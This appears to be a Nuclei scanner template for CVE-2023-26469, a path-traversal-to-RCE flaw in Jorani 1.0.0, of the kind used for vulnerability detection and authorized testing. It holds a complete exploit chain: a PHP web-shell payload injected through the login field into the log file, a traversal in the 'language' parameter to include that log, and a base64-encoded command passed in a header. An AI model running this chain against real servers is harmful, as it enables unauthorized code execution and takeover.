id: CVE-2023-26469

info:
  name: Jorani 1.0.0 - Remote Code Execution
  author: pussycat0x
  severity: critical
  description: |
    Jorani 1.0.0, an attacker could leverage path traversal to access files and execute code on the server.
  remediation: |
    Upgrade Jorani to a patched version or apply the necessary security patches.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2023-26469
    - https://github.com/Orange-Cyberdefense/CVE-repository/blob/master/PoCs/CVE_Jorani.py
    - https://github.com/advisories/GHSA-7r9h-9r47-7vjj
    - http://packetstormsecurity.com/files/174248/Jorani-Remote-Code-Execution.html
    - https://jorani.org/security-features-in-lms.html
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-26469
    cwe-id: CWE-22
    epss-score: 0.91808
    epss-percentile: 0.98591
    cpe: cpe:2.3:a:jorani:jorani:1.0.0:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 3
    vendor: jorani
    product: jorani
    shodan-query: http.favicon.hash:-2032163853
  tags: cve,cve2023,jorani,rce,packetstorm
variables:
  cmd: "id"
  payload: "<?php if(isset($_SERVER['HTTP_{{header}}'])){system(base64_decode($_SERVER['HTTP_{{header}}']));} ?>"
  header: "{{to_upper(rand_base(12))}}"

http:
  - raw:
      - |
        GET /session/login HTTP/1.1
        Host: {{Hostname}}
      - |
        POST /session/login HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        csrf_test_jorani={{csrf}}&last_page=session%2Flogin&language=..%2F..%2Fapplication%2Flogs&login={{payload}}&CipheredValue=DummyPassword
      - |
        GET /pages/view/log-{{date_time("%Y-%M-%D")}} HTTP/1.1
        Host: {{Hostname}}
        X-REQUESTED-WITH: XMLHttpRequest
        {{header}}: {{base64("echo ---------;{{cmd}} 2>&1;echo ---------;")}}

    cookie-reuse: true

    matchers-condition: and
    matchers:
      - type: regex
        part: body_3
        regex:
          - 'uid=(\d+)\(.*?\) gid=(\d+)\(.*?\) groups=([\d,]+)\(.*?\)'

      - type: status
        part: header_3
        status:
          - 401

    extractors:
      - type: regex
        part: body
        group: 1
        internal: true
        name: csrf
        regex:
          - 'name="csrf_test_jorani" value="(.*?)"'
# digest: 4a0a004730450221008f4bc6475a44cede273521c31f6ca4732c6f9d7ca427b5f10f43ed1dfbb7343a02205247e6f125d2dbaab76d7cce782dc77567ec7a7675b8425fea61f8c666a511ea:922c64590222798bb761d5b6d8e72950